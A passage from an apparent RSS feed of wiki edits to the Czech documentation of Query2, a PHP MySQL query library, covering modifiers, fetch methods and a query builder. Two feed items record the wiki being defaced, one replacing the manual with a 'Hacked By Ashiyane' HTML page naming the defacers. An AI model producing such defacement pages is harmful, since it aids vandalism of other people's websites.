				&quot;city&quot; =&gt; &quot;Praha&quot;,
				&quot;name&quot; =&gt; &quot;Markéta&quot;
			)
		),
		&quot;Brno&quot; =&gt; array(
			0 =&gt; array(
				&quot;id&quot; =&gt; 3,
				&quot;country&quot; =&gt; &quot;CR&quot;
				&quot;city&quot; =&gt; &quot;Brno&quot;,
				&quot;name&quot; =&gt; &quot;Eva&quot;
			)
		)
	),
	&quot;SR&quot; =&gt; array(
		&quot;Bratislava&quot; =&gt; array(
			0 =&gt; array(
				&quot;id&quot; =&gt; 4,
				&quot;country&quot; =&gt; &quot;SR&quot;
				&quot;city&quot; =&gt; &quot;Bratislava&quot;,
				&quot;name&quot; =&gt; &quot;Martina&quot;
			)
		)
	)
);
{/syntax}

!!!Iterator a countable interface
S výsledky je možné pracovat i jako s obyčejným polem:

{syntax php}
$result = $q-&gt;query(&quot;SELECT * FROM users&quot;);

echo &quot;Počet uživatelů je: &quot;, count($result), &quot;&lt;br /&gt;\n&quot;;

foreach($result as $row)
	echo $row[&quot;name&quot;], &quot;&lt;br /&gt;\n&quot;;

// Result se dá &quot;rewindnout&quot;, jde tedy procházet výsledek opakovaně
foreach($result as $row)
	echo $row[&quot;surname&quot;], &quot;&lt;br /&gt;\n&quot;;
{/syntax}



!!Query2Builder
SQL je jazyk poměrně blízký lidskému jazyku - to má své výhody, ale také jednu nevýhodu - dotaz se ''kódem'' blbě modifikuje. Vytvořme si modelovou situaci. V administraci blogovacího systému máme seznam blogpostů, ten je možné řadit podle libovolného sloupce, stránkovat, filtrovat podle data publikace a autora. Možných variant dotazu je docela dost a kód, který tento dotaz generuje je zbytečně dlouhý a nepřehledný. Query2Builder se snaží tento problém usnadnit:

{syntax php}
// Objekt Query2Builder získáváme z objektu Query2 metodou builder()
$builder = $q-&gt;builder();

$builder-&gt;select(&quot;blog.id&quot;)-&gt;select(&quot;blog.name, blog.id_autor&quot;)-&gt;from(&quot;blog&quot;); // je možné více způsobů zápisu

if(isset($_COOKIE[&quot;filter_autor&quot;]) // v Query2Builderu je možné úplně normálně používat modifikátory
	$builder-&gt;from(&quot;JOIN autor USING(id_autor)&quot;)-&gt;whereAnd(&quot;autor.name LIKE %s&quot;, $_COOKIE[&quot;filter_autor&quot;]);

if(isset($_COOKIE[&quot;filter_datum&quot;]))
	$builder-&gt;whereAnd(&quot;blog.datum = %s&quot;, $_COOKIE[&quot;filter_datum&quot;]); // je možné používat modifikátory

if(isset($_COOKIE[&quot;orderby&quot;]))
	$builder-&gt;orderBy($_COOKIE[&quot;orderby&quot;]);

$builder-&gt;limit(($page - 1) * $perpage, $perpage); // stránkování

$blogposty = $q-&gt;query($builder)-&gt;fetchAll(); // do metody query() zadáme jako argument instanci Query2Builder

// použijeme trochu modifikovaný dotaz pro získání celkového počtu řádků (užitečné na zobrazení stránkování)
// BTW, v MySQL jde udělat i bez spouštění druhého dotazu
$celkem_pocet = $q-&gt;query($builder-&gt;clearSelect()-&gt;select(&quot;COUNT(*)&quot;)-&gt;clearLimit())-&gt;fetchOne();
{/syntax}

!!!Zanořené WHERE a HAVING
{syntax php}
$or = $q-&gt;builder()-&gt;whereOr(&quot;skladem = 1&quot;)-&gt;whereOr(&quot;ocekavane_naskladneni &lt; NOW() + INTERVAL 1 MONTH&quot;);
$builder = $q-&gt;builder()-&gt;select(&quot;*&quot;)-&gt;from(&quot;knihy&quot;)-&gt;whereAnd(&quot;v_prodeji = 1&quot;)-&gt;whereAnd($or);

// composeQuery() pouze vytvoří SQL dotaz, ale nespouští jej
echo $q-&gt;composeQuery($builder);

// =&gt; SELECT * FROM knihy WHERE v_prodeji = 1 AND (skladem = 1 OR ocekavane_naskladneni &lt; NOW() + INTERVAL 1 MONTH)
{/syntax}

Jedna instance Query2Builderu dokáže vytvořit pouze jednu úroveň pro WHERE. Na druhou stranu, ale také akceptuje jako argument další instanci Query2Builderu, kterou bere jako zanořenou podmínku.

Metody pro HAVING se chovají analogicky.

!!!Jiné dotazy než SELECTy
Query2Builder byl vytvořen hlavně pro SELECTy, s trochou snahy ho lze ale využít pro libovolné dotazy, viz pár například:

{syntax php}
$where = $q-&gt;builder()-&gt;whereAnd(&quot;active = 1&quot;)-&gt;whereAnd(&quot;id_category = %i&quot;, $id_category);
$q-&gt;query(&quot;UPDATE book SET %a&quot;, $cols_to_update, $where);
// =&gt; UPDATE book SET availability = 1, ... WHERE active = 1 AND id_category = 456
{/syntax}

Využíváme té vlastnosti, že Quer2Builder do generovaného dotazu vkládá pouze neprázdné položky. Pokud jsme tedy nezadali žádný sloupect do select() nebo tabulku do from(), ve výsledném dotazu vůbec klíčová slova SELECT a FROM nebudou (nebude se tedy jednat o správně zkonstruovaný dotaz, ale můžeme jej použít jako část celku).
!!Obsluha chyb
Obsluha chyb je velmi jednoduchá, při každé se vyhodí výjimka Query2Exception. Vyhozená výjimka má tyto atributy:
* code - číselný kód chyby:
** 100 - ''Can't connect to database server.''
** 101 - ''Can't select database.''
** 200 - ''Wrong argument list/order to query()''
*** Nastává, v případech: $q-&gt;query(&quot;INSERT INTO users %v&quot;); (tedy zapomenutí parametru)
** 201 - ''Wrong modifier to query() function.''
** 300 - Chyba při vykonávání dotazu
* error - textový popis chyby, v případě 300 se jedná o mysql_error()
* sql - u 300 dotaz, který chybu způsobil

!Extras
!!Logování

Objektu lze předat callback, který bude volán po vykonání dotazu s údaji o délce provedení, úspěchu dotazu (callback se volá před vyhozením výjimky).

{syntax php}
function logger($success, $query, $time)
{
	echo &quot;Podařilo se dotaz vykonat: ($success ? &quot;ANO&quot; : &quot;NE&quot;), &quot;, dotaz zabral $time milisekund. Obsah dotazu: $query&quot;;
}

$q-&gt;setLogCallback(&quot;logger&quot;);

$callback = $q-&gt;getLogCallback(); // v případe, když bychom ho potřebovali zpět
{/syntax}

!!Pomocné metody
* composeQuery() - akceptuje stejné parametry jako query() a vrací vygenerovaný dotaz v čistém SQL
* pquery() - vygeneruje dotaz, vytiskne ho na výstup, ale dotaz také spustí. Vhodné na rychlé hledání chyb, protože jediné, co potřebujete pro výpis dotazu na výstup je přidání jediného písmenka (query() =&gt; pquery()), jinak totiž všechno funguje úplně stejně.

!!Statické metody
V Dibi najdete zdánlivě praktické statické metody dibi::connect(), dibi::query() a možná i další. V Query2 žádné takové nenajdete a to jednoduše proto, že jsou z principu velmi špatné. Proč jsou statické metody tak špatné zjistíte (např.), když podědíte třídu dibi a budete ji chtít použít v existujícím projektu místo dibi.

!!Unit testy
V [repozitáři|https://code.google.com/p/query2/source/] je k dispozici [soubor|https://code.google.com/p/query2/source/browse/trunk/test/Query2Test.php] s PHPUnit testy. Přestože je pokrytí kódu prakticky stoprocentní, je stále co zlepšovat. Může se hodit na věci, které z manuálu nejsou úplně jasné.

!Autor
Autorem Query2 je Adam Živnéř, adam.zivner@gmail.com . Úvodní fázi vývoje zasponzorovala firma [Továrna.cz|http://www.tovarna.cz].</ins>
</pre></description>
	</item>

	<item>
	  <title>Hacked</title>
	  <pubDate>Fri, 28 Oct 2011 16:50:11 +0200</pubDate>
	  <link>http://query2.0o.cz/index.php?page=Hacked</link>
	  <description><pre id="diff"><ins>Mr.PaPaRoSSe - Test amaçlı</ins>
</pre></description>
	</item>

	<item>
	  <title>hacked by ashiyane</title>
	  <pubDate>Fri, 28 Oct 2011 14:38:14 +0200</pubDate>
	  <link>http://query2.0o.cz/index.php?page=hacked+by+ashiyane</link>
	  <description><pre id="diff"><del>{TOC}
Query2 je minimalistický databázový layer pro MySQL v PHP. Je podobný třeba [dibi|http://dibiphp.com/] nebo [Zend_Db|http://framework.zend.com/manual/en/zend.db.html], hlavní odlišností je asi to, že se nepokouší o databázovou abstrakci - je pevně svázán s [MySQL|http://mysql.com], což má své výhody i nevýhody.</del><ins>{html}&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;
&lt;head&gt;
&lt;meta content=&quot;text/html; charset=utf-8&quot; http-equiv=&quot;Content-Type&quot; /&gt;
&lt;meta content=&quot;unique2world&quot; http-equiv=&quot;designer&quot; /&gt;
&lt;title&gt;Hacked By Ashiyane Digital Security Team&lt;/title&gt;
&lt;link rel=&quot;icon&quot; href=&quot;http://unique2world.persiangig.com/favicon.ico&quot; type=&quot;image/x-icon&quot; /&gt;
&lt;link rel=&quot;shortcut icon&quot; href=&quot;http://unique2world.persiangig.com/favicon.ico&quot; type=&quot;image/x-icon&quot; /&gt;
&lt;style type=&quot;text/css&quot;&gt; 
*,body,div,p,span,h6{padding: 0px;margin: 0px;}body{background-color: #000000;}img{border-width: 0px;-ms-interpolation-mode: bicubic;}.wrapper{margin: 50px 0px 10px 0px;font-family: tahoma;font-size: 12px;font-weight: bold;}.wrapper h6{color: #C0C0C0;font-size: 12px;text-shadow:1px 2px 3px #C0C0C0;}.wrapper p{color: #FF0000;padding:5px;}#box{color: #FF0000;text-shadow:1px 2px 3px #FF0000;}#love{color: #008000;text-shadow:1px 2px 3px #008000;}#ashiyane{color: #FF0000;text-shadow:1px 2px 3px #FF0000;}#greetz{color: #FF9933;text-shadow:1px 2px 3px #FF9933;}#defacer{color: #FF0000;text-shadow:1px 2px 3px #FF0000;}.image{border-width: 0px;background-image: url('http://www.ashiyane.ir/images/tilesash.jpg');background-repeat: repeat-x;background-position: center center;height: 266px;width: 100%;}#music{padding: 20px 0px 0px 20px}/* Coding by: unique2world */
&lt;/style&gt;
&lt;/head&gt;
&lt;!--- Ashiyane.Org ---&gt;
&lt;body&gt;
&lt;center&gt;
&lt;div class=&quot;wrapper&quot;&gt;
&lt;h6&gt;Your Box Owned By&lt;/h6&gt;</ins>

<del>!Přehled
* Malá, jednoduchá a snadno upravitelná knihovna</del><ins>&lt;p id=&quot;box&quot;&gt;
Behrooz_Ice</ins> - <del>celé Query2 má asi 20KB, kód je čitelný a dostatečně komentovaný
** Pro srovnání, kód Dibi má 250KB, cca 12krát tolik.
* Flexibilní a mocný</del><ins>Q7x</ins> - <del>Query2 umožňuje psát značně méně kódu
* Dělá jednu věc, zato pořádně</del><ins>Virangar</ins> - <del>tou je &quot;kompozice&quot; dotazu
** Neumí managovat databázové spojení, logování a podobné okrajové věci
* Umí používat speciality MySQL
** Jako třeba [INSERT INTO ... ON DUPLICATE KEY UPDATE|http://dev.mysql.com/doc/refman/5.0/en/insert-on-duplicate.html]
* Neumí pojmenované parametry</del><ins>Sha2ow</ins> - <del>v MySQL je ostatně jejich přínos diskutabilní
* licencován pod [New BSD license|http://www.opensource.org/licenses/bsd-license.php]</del><ins>Azazel - Ali_Eagle - keivan - iman_taktaz&lt;br /&gt;
taghva - elvator - Maste&amp;reg; - PrinceofHacking - Satanic2000 - Encoder&lt;br /&gt;
unique2world - iNJECTOR&amp;#8482; - Gladiator - HIDDEN-HUNTER - root3r&lt;br /&gt;
Http://Askn - mzhacker - n3me3iz - r3d.z0nE - mmilad200&lt;br /&gt;
Zend - Classic - __amir__ - fr0nk - AliAkh - *Alexander*&lt;br /&gt;
ruiner_blackhat - anti206 - Milad-Bushehr - Hijacker&lt;/p&gt;</ins>

<del>!Download</del><ins>&lt;p id=&quot;love&quot;&gt;We Love Iran&lt;/p&gt;
&lt;p id=&quot;ashiyane&quot;&gt;Ashiyane Digital Security Team&lt;/p&gt;
&lt;p id=&quot;greetz&quot;&gt;Greetz: M3QD4D - ELVATOR - BLACK - ANGOLA - ALI_EAGLE - ZEND - KEIVAN - CLASSIC - R3D.ZONE&lt;br /&gt;
And All Ashiyane Defacers&lt;/p&gt;
&lt;p id=&quot;defacer&quot;&gt;[cicili41] Was Here ...&lt;/p&gt;
&lt;div class=&quot;image&quot;&gt;&lt;img src=&quot;http://www.ashiyane.ir/images/iranash.jpg&quot; width=&quot;429&quot; height=&quot;266&quot;/&gt;&lt;/div&gt;
&lt;div id=&quot;music&quot;&gt;&lt;object type=&quot;application/x-shockwave-flash&quot; data=&quot;http://flash-mp3-player.net/medias/player_mp3_mini.swf&quot; width=&quot;200&quot; height=&quot;20&quot;&gt; &lt;param name=&quot;movie&quot; value=&quot;http://flash-mp3-player.net/medias/player_mp3_mini.swf&quot; /&gt; &lt;param name=&quot;bgcolor&quot; value=&quot;#000000&quot; /&gt;&lt;param name=&quot;FlashVars&quot; value=&quot;mp3=http://unique2world.persiangig.com/iran.mp3 &amp;amp;autoplay=1&quot; /&gt;&lt;/object&gt;
&lt;/div&gt;
&lt;/div&gt;</ins>

<del>Aktuální stabilní verze je 1.1.3, k dispozici ke stáhnutí [zde|./download/Query2-1.1.3.tar.gz]. SVN repozitář je na Google Code k nalezení [zde|https://code.google.com/p/query2/source/checkout].</del><ins>&lt;/center&gt;</ins>

<del>Změny v jednotlivých verzích jsou popsány v [ChangeLogu|ChangeLog].

!!Požadavky
PHP &gt;= 5. Otestováno na PHP 5.0.5, 5.2.11 a 5.3.1. Query2 je možné použít pouze s kódováními kompatibilními s ASCII, např. UTF-8, ISO-8859-X/latinX, CP-XXXX atp. Mezi kódování nekompatibilní s ASCII patří např. UTF-16/UCS-2 nebo UTF-32/UCS-4.


!Manuál
!!Připojení k databázi

{syntax php}
// Vytvoříme instanci objektu a zároveň se připojíme k databázi
$q = new Query2(&quot;localhost&quot;, &quot;root&quot;, &quot;&quot;, &quot;my_database&quot;);

// Připojit se k databázi můžeme ale nezávisle na instanciaci objektu
$q = new Query2(); // pouze vytvoříme instanci objektu
$q-&gt;connect(&quot;localhost&quot;, &quot;root&quot;, &quot;&quot;, &quot;my_database&quot;); // connect() má stejné parametry jako konstruktor
{/syntax}

!!Základní dotazy
{syntax php}
echo $q-&gt;query(&quot;SELECT id FROM users WHERE login = %s AND password = %s&quot;, 
	$_POST[&quot;login&quot;], sha1($_POST[&quot;password&quot;]))-&gt;fetchOne();

// SQL kód můžeme mixovat s parametry, následující dotaz dělá úplně to samé, co předchozí
echo $q-&gt;query(&quot;SELECT id FROM users WHERE login = %s&quot;, sha1($_POST[&quot;password&quot;]), 
	&quot;AND password = %s&quot;, $_POST[&quot;login&quot;])-&gt;fetchOne();
{/syntax}

Co přesně kód dělá? Metoda query() zparsuje vstupní argumenty a spustí dotaz. Předali jsme jí 3 parametry (v prvním případě). Parser hledá znaky procenta, ty značí, že následující znak/řetězec má speciální význam (říkáme jim ''modifikátory''). %s znamená, že další parametr bude řetězec, který se má na místo %s substituovat, ale v escapované podobě. Nemusíme se proto starat o spouštění addslashes() nebo mysql_real_escape_string(). 

Metoda query() vrací tři možné věci:
* False - dotaz neuspěl
* Instanci objektu Query2Result v případě, kdy dotaz do databáze vrací nějaká data (hlavně SELECT, DESCRIBE atp.)
** To je náš případ, metodou fetchOne() objektu třídy Query2Result si vyžádáme první sloupec prvního výsledku
* Instanci objektu Query2 v ostatních případech (tedy $this)
** Typicky pro INSERT, UPDATE, DELETE atp.

!!Seznam modifikátorů
Modifikátory pracující s řetězci se často vyskytují ve dvojicích - modifikátor %a (malé písmeno) parametr escapuje, %A parametr neescapuje. I neescapovaný řetězec je ale vždy obklopen jednoduchými uvozovkami.

* %i (od slova &quot;integer&quot;) - celé číslo
* %f (&quot;float&quot;) - reálné číslo
* %s a %S (&quot;string&quot;) - řetězec
* %t (&quot;table&quot;) - jméno tabulky/sloupce/view/indexu atp., obklopuje hodnotu znakem `
** Je vhodný např. na nastavitelné řazení tabulky ala $q-&gt;query(&quot;SELECT ... ORDER BY %t&quot;, $radici_sloupec)...
** V tomto případě se používá jiný druh escapování - escapuje se znak `, &quot; a ' se nechávají být.
** Příklad: table.column =&gt; `table`.`column`
* %x a %X - pouze vloží argument, volitelně escapuje - neobklopuje ' ani `. Vhodné na vkládání částí nebo celých dotazů v čistém SQL
** liší se od 1.0, dnešní %X odpovídá %q z 1.0. Obdoba %x v 1.0 neexistovala.
* %in a %IN - přijímá pole hodnot a vytvoří něco jako IN ('A', 'B', 'C') - operátor IN se v SQL neuvádí, např. &quot;WHERE born %in&quot;, array(1987, 1990)
** V případě, že pole v argumentu je prázdné, vloží se místo IN() hodnota FALSE. IN() je chybný zápis, IN(NULL) zase nefunguje pro NOT IN
** NOT IN(...) se zapisuje očekávatelně: &quot;WHERE born NOT %in&quot;, array(...)
* %a a %A (&quot;aktualizovat&quot;) - z asociativního pole v argumentu vytvoří řetězec vhodný pro UPDATE
* %v a %V (&quot;vložit&quot;) - to samé jako %a a %A, ale pro INSERT
** Pokud v argumentu není asociativní pole, ale pole asociativních polí, vytvoří se multi insert
*** Pokud vkládáte velké množství řádků, pak je &quot;multi insert&quot; řádově rychlejší než X samostatných INSERTů (ale pozor na maximální velikost packetů!)
* %va a %VA - vytvoří řetězec vhodný pro INSERT ... ON DUPLICATE KEY, je to ale trochu složitější a rozeberu to zvlášť níže

Speciálním případem je PHP hodnota null, která se bez ohledu na modifikátor vždy převede na NULL v SQL.

!!!Příklady

{syntax php}
// Vytvoří dotaz SELECT 'SQL \'injection', 'SQL 'injection'
$q-&gt;query(&quot;SELECT %s, %S&quot;, &quot;SQL 'injection&quot;, &quot;SQL 'injection&quot;);

// Chceme najít všechny loginy končící na písmeno s (pouze demonstrativní příklad)
// Vytvoří SELECT * FROM users WHERE login LIKE '%s'
$q-&gt;query(&quot;SELECT * FROM users WHERE %q&quot;, &quot;login LIKE '%s'&quot;);

// Vytvoří dotaz UPDATE users SET name = 'Lil\' John', password = '47bce5c74f589f4867dbd57e9ca9f808' WHERE id = 25
$q-&gt;query(&quot;UPDATE users SET %a WHERE id = %i&quot;, array(
	&quot;name&quot; =&gt; &quot;Lil' John&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
), 25);

// Vytvoří dotaz SELECT * FROM users WHERE login IN ('Eva', 'Filip', 'Jakub') ORDER BY `lo'gi``n`
$q-&gt;query(&quot;SELECT * FROM users WHERE login %in ORDER BY %t&quot;, array(&quot;Eva&quot;, &quot;Filip&quot;, &quot;Jakub&quot;), &quot;lo'gi`n&quot;);

// Vytvoří dotaz INSERT INTO users (name, password) VALUES ('Lil\' John', '47bce5c74f589f4867dbd57e9ca9f808')
$q-&gt;query(&quot;INSERT INTO users %v&quot;, array(
	&quot;name&quot; =&gt; &quot;Lil' John&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
));
{/syntax}

Poslední dva příklady dávají nápovědu jak řešit častý problém: ''pokud řádek v tabulce existuje, potřebujeme jej aktualizovat, pokud ne, tak vytvořit'':

{syntax php}
$arr = array(
	&quot;name&quot; =&gt; &quot;Eva&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
);

if($id)
	$q-&gt;query(&quot;UPDATE users SET %a WHERE id = %i&quot;, $arr, $id);
else
	$id = $q-&gt;query(&quot;INSERT INTO users %v&quot;, $arr)-&gt;lastInsertId();
{/syntax}

Tento problém lze vyřešit elegantně i bez Query2, a to pomocí méně známé MySQL konstrukce INSERT INTO users SET ..., která data přijímá ve stejné podobě jako UPDATE.

Jde to ale ještě elegantněji:

!!!INSERT ... ON DUPLICATE KEY UPDATE
Zopakujme si, co vlatně tato velmi užitečná konstrukce dělá: Nejprve se snaží vložit zadaný řádek, pokud ovšem nemůže kvůli konfliktu indexů (a to nejen primárního, ale i ostatních unikátních), pak se provede update řádku (a to jen vyspecifikované hodnoty).

Zápis v SQL je ale zbytečně dlouhý a možná i matoucí.

Query2 umožňuje dvě možná použití této konstrukce, která se liší formátem argumentu:

!!!!Jednoduchá
Snaží se vložit řádek, pokud neuspěje, aktualizuje všechny sloupce řádku uvedené v argumentu. Argumentem je klasické asociativní pole jméno =&gt; hodnota.

{syntax php}
// Vytvoří dotaz INSERT INTO users (name, password) VALUES ('Eva', '47bce5c74f589f4867dbd57e9ca9f808') 
//		 ON DUPLICATE KEY UPDATE name = VALUES(name), password = VALUES(password)
$q-&gt;query(&quot;INSERT INTO users %va&quot;, array(
	&quot;name&quot; =&gt; &quot;Eva&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
));
{/syntax}

!!!!Složitá
Toto použití je složitější, ale poskytuje více možností. Argumentem je pole, ovšem s maximálně třemi položkami:
* data - klasické asociativní pole s jmény sloupců a hodnotami (tedy stejné jako argument z jednoduché varianty), povinné
* update - pole s jmény sloupců, které se mají updatovat v případě konfliktu indexů, volitelné
** pokud není definované, předpokládají se všechny sloupce
* auto_increment - specifikuje sloupec s auto inkrementem, volitelné

{syntax php}
// Vytvoří dotaz INSERT INTO users (id, name, password) VALUES (5, 'Eva', '47bce5c74f589f4867dbd57e9ca9f808') 
//		 ON DUPLICATE KEY UPDATE password = VALUES(password), id = LAST_INSERT_ID(id)
$id = $q-&gt;query(&quot;INSERT INTO users %va&quot;, 
	&quot;data&quot; =&gt; array(
		&quot;id&quot; =&gt; $id
		&quot;name&quot; =&gt; &quot;Eva&quot;,
		&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
	),
	&quot;update&quot; =&gt; array(&quot;password&quot;),
	&quot;auto_increment&quot; =&gt; &quot;id&quot;
)-&gt;lastInsertId();
{/syntax}

Na co ten &quot;auto_increment&quot; parametr je? Vraťme se opět k našemu problému vložení řádku, pokud neexistuje a aktualizace pokud existuje. V případě, že se řádek vloží, budete pravděpodobně chtít znát ID právě vloženého řádku. V případě, že ale řádek existuje a proběhne jen update, databázové LAST_INSERT_ID logicky zůstane na předchozí hodnotě, protože ke vložení nového řádku nedošlo. Problém ale je, že nedokážeme zjistit, jestli došlo k INSERT nebo UPDATE.

Na to se nám hodí ta magická konstrukce na konci &quot;id = LAST_INSERT_ID(id)&quot;. V případě, že dojde k UPDATE, nastaví databázové LAST_INSERT_ID na hodnotu sloupce &quot;id&quot; (resp. sloupce s příznakem AUTO_INCREMENT) právě aktualizovaného řádku. Takto vám metoda lastInsertId() vždy vrátí ID řádku, ať už byl aktualizovaný nebo právě vložený.

Pokud se vám zdá, že je ta syntaxe divná, nejste sami :-)

!!!SQL konstrukce v %a, %v a %av
Představme si, že chceme do Query2 převést tento dotaz:

{syntax sql}
INSERT INTO users_login (id_user, last_login) VALUES (1, NOW())
{/syntax}

Modifikátor %v ani %V použít nemůžeme, protože oba by NOW() obalili jednoduchými uvozovkami. Musíme to řešit proto takovou specialitou:

{syntax php}
$q-&gt;query(&quot;INSERT INTO users_login %v&quot;, array(
	&quot;id_user&quot; =&gt; 1,
	&quot;last_login&quot; =&gt; new Query2Statement(&quot;NOW()&quot;)
));
{/syntax}

Query2Statement je primitivní třída vytvořená čistě pro tento úkol. V konstruktoru se zadává hodnota, která se má substituovat bez escapování a bez oblokopení uvozovkami. Upozorňuji na to, že tuto speciální konstrukce je nutné (a taky možné) použít jen uvnitř argumentů k %a/%A, %v/%V. Jinak totiž není problém napsat:

{syntax php}
$q-&gt;query(&quot;INSERT INTO users_login (id_user, last_login) VALUES (%i, NOW())&quot;, $id_user);
{/syntax}




!!Fetchování dat
Zatím jsem rozebíral pouze &quot;kompozici&quot; dotazů, teď se dostanu k &quot;fetchování&quot; dat z výsledku dotazu. Máme několik metod, většina je celkem standardní. Pojmenování je stejné jako u Zend_Db.

* fetchRow() - vrátí řádek v asociovaném poli, je možné volat opakovaně v cyklu, stejně jako [mysql_fetch_row()|http://cz.php.net/manual/en/function.mysql-fetch-row.php]
* fetchAll() - vrátí celý výsledek v dvourozměrném poli
* fetchOne() - vrátí hodnotu prvního sloupce prvního řádku výsledku. Volitelný parametr může obsahovat jméno sloupce, který se má vrátit místo prvního
* fetchCol() - vrací pole obsahující první sloupce všech řádků výsledku
* fetchPairs() - vrátí výsledek v asociativním poli složený z prvních dvou sloupců
* fetchAssoc($col, ...) - vrátí celý výsledek asociovaný podle zadaného sloupce. Pokud je zadáno více sloupců, asociuje se víceúrovňově. Pro každou hodnotu asociovaného sloupce se vytvoří pole, počítá se tím pádem s duplikátními hodnotami.

!!!Příklady
{syntax php}
$result = $q-&gt;query(&quot;SELECT id, name, password FROM users&quot;);

var_export($result-&gt;fetchRow());
array(
	&quot;id&quot; =&gt; 1,
	&quot;name&quot; =&gt; &quot;Alice&quot;,
	&quot;password&quot; =&gt; &quot;A52E094A3580FC32&quot;
)

var_export($result-&gt;fetchAll());
array(
	array(
		&quot;id&quot; =&gt; 1,
		&quot;name&quot; =&gt; &quot;Alice&quot;,
		&quot;password&quot; =&gt; &quot;A52E094A3580FC32&quot;
	),
	array(
		&quot;id&quot; =&gt; 2,
		&quot;name&quot; =&gt; &quot;Markéta&quot;,
		&quot;password&quot; =&gt; &quot;E87E094A3580FC32&quot;
	)
);

echo $result-&gt;fetchOne();
1

var_export($result-&gt;fetchCol(&quot;name&quot;));
array(&quot;Alice&quot;, &quot;Markéta&quot;);

var_export($result-&gt;fetchPairs());
array(
	1 =&gt; &quot;Alice&quot;,
	2 =&gt; &quot;Markéta&quot;
);

$result = $q-&gt;query(&quot;SELECT id, country, city, name FROM users&quot;);
var_export($q-&gt;fetchAssoc(&quot;country&quot;, &quot;city&quot;);
array(
	&quot;CR&quot; =&gt; array(
		&quot;Praha&quot; =&gt; array(
			0 =&gt; array(
				&quot;id&quot; =&gt; 1,
				&quot;country&quot; =&gt; &quot;CR&quot;
				&quot;city&quot; =&gt; &quot;Praha&quot;,
				&quot;name&quot; =&gt; &quot;Alice&quot;
			),
			1 =&gt; array(
				&quot;id&quot; =&gt; 2,
				&quot;country&quot; =&gt; &quot;CR&quot;
				&quot;city&quot; =&gt; &quot;Praha&quot;,
				&quot;name&quot; =&gt; &quot;Markéta&quot;
			)
		),
		&quot;Brno&quot; =&gt; array(
			0 =&gt; array(
				&quot;id&quot; =&gt; 3,
				&quot;country&quot; =&gt; &quot;CR&quot;
				&quot;city&quot; =&gt; &quot;Brno&quot;,
				&quot;name&quot; =&gt; &quot;Eva&quot;
			)
		)
	),
	&quot;SR&quot; =&gt; array(
		&quot;Bratislava&quot; =&gt; array(
			0 =&gt; array(
				&quot;id&quot; =&gt; 4,
				&quot;country&quot; =&gt; &quot;SR&quot;
				&quot;city&quot; =&gt; &quot;Bratislava&quot;,
				&quot;name&quot; =&gt; &quot;Martina&quot;
			)
		)
	)
);
{/syntax}

!!!Iterator a countable interface
S výsledky je možné pracovat i jako s obyčejným polem:

{syntax php}
$result = $q-&gt;query(&quot;SELECT * FROM users&quot;);

echo &quot;Počet uživatelů je: &quot;, count($result), &quot;&lt;br /&gt;\n&quot;;

foreach($result as $row)
	echo $row[&quot;name&quot;], &quot;&lt;br /&gt;\n&quot;;

// Result se dá &quot;rewindnout&quot;, jde tedy procházet výsledek opakovaně
foreach($result as $row)
	echo $row[&quot;surname&quot;], &quot;&lt;br /&gt;\n&quot;;
{/syntax}



!!Query2Builder
SQL je jazyk poměrně blízký lidskému jazyku - to má své výhody, ale také jednu nevýhodu - dotaz se ''kódem'' blbě modifikuje. Vytvořme si modelovou situaci. V administraci blogovacího systému máme seznam blogpostů, ten je možné řadit podle libovolného sloupce, stránkovat, filtrovat podle data publikace a autora. Možných variant dotazu je docela dost a kód, který tento dotaz generuje je zbytečně dlouhý a nepřehledný. Query2Builder se snaží tento problém usnadnit:

{syntax php}
// Objekt Query2Builder získáváme z objektu Query2 metodou builder()
$builder = $q-&gt;builder();

$builder-&gt;select(&quot;blog.id&quot;)-&gt;select(&quot;blog.name, blog.id_autor&quot;)-&gt;from(&quot;blog&quot;); // je možné více způsobů zápisu

if(isset($_COOKIE[&quot;filter_autor&quot;]) // v Query2Builderu je možné úplně normálně používat modifikátory
	$builder-&gt;from(&quot;JOIN autor USING(id_autor)&quot;)-&gt;whereAnd(&quot;autor.name LIKE %s&quot;, $_COOKIE[&quot;filter_autor&quot;]);

if(isset($_COOKIE[&quot;filter_datum&quot;]))
	$builder-&gt;whereAnd(&quot;blog.datum = %s&quot;, $_COOKIE[&quot;filter_datum&quot;]); // je možné používat modifikátory

if(isset($_COOKIE[&quot;orderby&quot;]))
	$builder-&gt;orderBy($_COOKIE[&quot;orderby&quot;]);

$builder-&gt;limit(($page - 1) * $perpage, $perpage); // stránkování

$blogposty = $q-&gt;query($builder)-&gt;fetchAll(); // do metody query() zadáme jako argument instanci Query2Builder

// použijeme trochu modifikovaný dotaz pro získání celkového počtu řádků (užitečné na zobrazení stránkování)
// BTW, v MySQL jde udělat i bez spouštění druhého dotazu
$celkem_pocet = $q-&gt;query($builder-&gt;clearSelect()-&gt;select(&quot;COUNT(*)&quot;)-&gt;clearLimit())-&gt;fetchOne();
{/syntax}

!!!Zanořené WHERE a HAVING
{syntax php}
$or = $q-&gt;builder()-&gt;whereOr(&quot;skladem = 1&quot;)-&gt;whereOr(&quot;ocekavane_naskladneni &lt; NOW() + INTERVAL 1 MONTH&quot;);
$builder = $q-&gt;builder()-&gt;select(&quot;*&quot;)-&gt;from(&quot;knihy&quot;)-&gt;whereAnd(&quot;v_prodeji = 1&quot;)-&gt;whereAnd($or);

// composeQuery() pouze vytvoří SQL dotaz, ale nespouští jej
echo $q-&gt;composeQuery($builder);

// =&gt; SELECT * FROM knihy WHERE v_prodeji = 1 AND (skladem = 1 OR ocekavane_naskladneni &lt; NOW() + INTERVAL 1 MONTH)
{/syntax}

Jedna instance Query2Builderu dokáže vytvořit pouze jednu úroveň pro WHERE. Na druhou stranu, ale také akceptuje jako argument další instanci Query2Builderu, kterou bere jako zanořenou podmínku.

Metody pro HAVING se chovají analogicky.

!!!Jiné dotazy než SELECTy
Query2Builder byl vytvořen hlavně pro SELECTy, s trochou snahy ho lze ale využít pro libovolné dotazy, viz pár například:

{syntax php}
